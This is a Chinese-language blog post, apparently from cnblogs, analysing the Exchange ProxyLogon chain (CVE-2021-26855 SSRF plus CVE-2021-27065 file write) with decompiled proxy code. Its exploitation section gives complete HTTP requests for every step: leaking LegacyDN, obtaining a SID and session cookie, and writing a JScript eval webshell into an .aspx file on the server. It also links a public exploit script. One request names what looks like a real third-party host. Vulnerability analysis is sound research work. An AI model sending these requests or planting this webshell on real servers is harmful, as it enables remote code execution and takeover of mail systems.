• Exchange ProxyLogon漏洞分析


    Exchange ProxyLogon漏洞分析

    前言

    续前文继续学习Exchange漏洞

    ProxyLogon

    影响范围

    Exchange Server 2019 < 15.02.0792.010

    Exchange Server 2019 < 15.02.0721.013

    Exchange Server 2016 < 15.01.2106.013

    Exchange Server 2013 < 15.00.1497.012

    攻击流程

    1、 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息
    2、 在通过LegacyDN, 获取SID
    3.、然后通过合法的SID,获取exchange的有效cookie
    4.、最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马

    ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞,然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。

    漏洞复现

    github地址:https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py

    python .\exchange.py 192.168.0.16 administrator@klion.local
    

    该漏洞需要一个邮箱账户

    漏洞分析

    Exchange使用的是cas架构,如下图

    iis节点中可以看到有2个节点,一个架设在80,443 另外一个在81,444端口中。

    分别是Frontend 和 Backend。这里面的一些功能也不一样。Frontend ,前端必须包含一个代理模块。代理模块从客户端获取 HTTP 请求并添加一些内部设置,然后将请求转发到后端。后端中负责解析前端请求等作用。

    每个前端中的每个模块都有配有FrontEndHttpProxy模块

    cd C:\Windows\System32\inetsrv
    
    appcmd list wp
    

    查看iis进程池,dnsdy附加进程开始调试

    ProxyModule 代码如下

    public class ProxyModule : IHttpModule
    	{
    		// Token: 0x17000080 RID: 128
    		// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
    		// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
    		internal PfdTracer PfdTracer { get; set; }
    
    		// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
    		public void Init(HttpApplication application)
    		{
    			Diagnostics.SendWatsonReportOnUnhandledException(delegate
    			{
    				LatencyTracker latencyTracker = new LatencyTracker();
    				latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
    				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called.  Protocol type: {0}", HttpProxyGlobals.ProtocolType);
    				if (application == null)
    				{
    					string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
    					ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
    					throw new ArgumentNullException("application", text);
    				}
    				this.PfdTracer = new PfdTracer(0, this.GetHashCode());
    				application.BeginRequest += this.OnBeginRequest;
    				application.AuthenticateRequest += this.OnAuthenticateRequest;
    				application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
    				application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
    				application.EndRequest += this.OnEndRequest;
    				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
    			});
    		}
    

    Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
    Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
    Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
    Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
    Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext) 
    

    if语句走入三个if分支里面去,分别来看看不同的条件和处理

    if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))

    public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
    		{
    			string absolutePath = request.Url.AbsolutePath;
    			if (string.IsNullOrEmpty(absolutePath))
    			{
    				return false;
    			}
    			if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
    			{
    				return false;
    			}
    			EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
    			return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
    		}
    

    该位置返回执行EDiscoveryExportToolProxyRequestHandler

    第二个if条件,调用BEResourceRequestHanlder.CanHandle方法

    BEResourceRequestHanlder.GetBEResouceCookie处代码

    private static string GetBEResouceCookie(HttpRequest httpRequest)
    		{
    			string result = null;
    			HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
    			if (httpCookie != null)
    			{
    				result = httpCookie.Value;
    			}
    			return result;
    		}
    

    即获取Cookie中X-BEResource参数不为空

    internal static bool IsResourceRequest(string localPath)
    		{
    			return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
    		}
    

    这里是对uri地址的验证,验证是否合法

    /ecp/xx.(js|css|gif)等都是合法uri

    Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
    
    protected override AnchorMailbox ResolveAnchorMailbox()
    		{
    			string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
    			if (!string.IsNullOrEmpty(beresouceCookie))
    			{
    				base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
    				ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
    				return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
    			}
    			return base.ResolveAnchorMailbox();
    		}
    

    ~进行分割字符串,~后面即为verison版本号

    BeginProxyRequest-->GetTargetBackEndServerUrl()

    protected void BeginProxyRequest(object extraData)
    		{
    			this.LogElapsedTime("E_BegProxyReq");
    			this.CallThreadEntranceMethod(delegate
    			{
    				lock (this.LockObject)
    				{
    					this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
    					PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
    					try
    					{
    						Uri uri = this.GetTargetBackEndServerUrl();
    						...
    

    这里还有个条件判断,如果版本大于Server.E15MinVersionProxyToDownLevel则为false。这个是一个重点之一。

    判断版本号小于1941962752版本则走入以上if逻辑代码中

    1.设置HTTPS

    2.Host即FQDN,xxxx.com

    3.如果端口小于Server.E15MinVersion的值,端口会被设置为443

    {
    					UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
    					clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
    					clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
    					clientUrlForProxy.Port = 444;
    					if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
    					{
    						this.ProxyToDownLevel = true;
    						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
    						clientUrlForProxy.Port = 443;
    					}
    					result = clientUrlForProxy.Uri;
    				}
    			}
    

    this.AnchoredRoutingTarget.BackEndServer.Fqdn;该位置的值可控,那么result的值也可控。

    继续往下走逻辑来到该位置

    调用this.CreateServerRequest将uri发送给后端服务器

    调用this.PrepareServerRequest(httpWebRequest);进行身份认证。

    这里返回false

    调用 GenerateKerberosAuthHeader() 函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。

    ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证;而当有请求调用BEResourceRequestHandler时,ShouldBackendRequestBeAnonymous()就会被调用。绕过认证,然后把数据包组成后发送给后端。后端响应请求,把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。

    漏洞利用

    这里ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。autodiscover.xml 文件中包含有LegacyDN 的值,

    POST /ecp/iey8.js HTTP/1.1
    Host: 192.168.0.16
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
    Content-Type: text/xml
    Content-Length: 375
    
    
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
            <Request>
              <EMailAddress>administrator@klion.local</EMailAddress>
              <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
            </Request>
        </Autodiscover>
        
    

    需要提供一个邮箱账户,通过ssrf访问后端功能获取到LegacyDN的值。

    然后使用LegacyDN,获取sid

    POST /ecp/1qnl.js HTTP/1.1
    Host: smsrv.schmidt-steuer.de
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Administrator@SMSRV.SCHMIDT-STEUER.DE:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;
    Content-Type: application/mapi-http
    X-Requesttype: Connect
    X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
    X-Clientapplication: Outlook/15.0.4815.1002
    X-Requestid: {E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456
    Content-Length: 149
    
    legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    

    获取完成后,使用sid获取cookie

    POST /ecp/iey8.js HTTP/1.1
    Host: 192.168.0.16
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/proxyLogon.ecp?a=~1942062522;
    Content-Type: text/xml
    msExchLogonMailbox: S-1-5-20
    Content-Length: 247
    
    <r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7" 
        t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s 
        a="3221225479" t="1">S-1-5-5-0-6948923</s></r> 
    

    文件上传

    POST /ecp/iey8.js HTTP/1.1
    Host: 192.168.0.16
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
    Content-Type: application/json; 
    msExchLogonMailbox: S-1-5-20
    Content-Length: 168
    
    {"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
    
    POST /ecp/iey8.js HTTP/1.1
    Host: 192.168.0.16
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
    msExchLogonMailbox: S-1-5-20
    Content-Type: application/json; charset=utf-8
    Content-Length: 399
    
    {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
    
    POST /ecp/iey8.js HTTP/1.1
    Host: 192.168.0.16
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
    msExchLogonMailbox: S-1-5-20
    Content-Type: application/json; charset=utf-8
    Content-Length: 393
    
    {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}
    
  • 相关阅读:
    python通过scapy编写arp扫描器
    red hat重置密码
    浅谈跨域劫持
    python中的socket
    利用Python进行端口扫描
    自己搜罗了一些感觉蛮有意思的爬虫相关的网站
    与py2neo的第一次接触
    基本上所有的库的列表都在这里了,传送门~~~
    关于neo4j初入门(5)
    关于neo4j初入门(4)
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15762864.html
Copyright © 2020-2023  润新知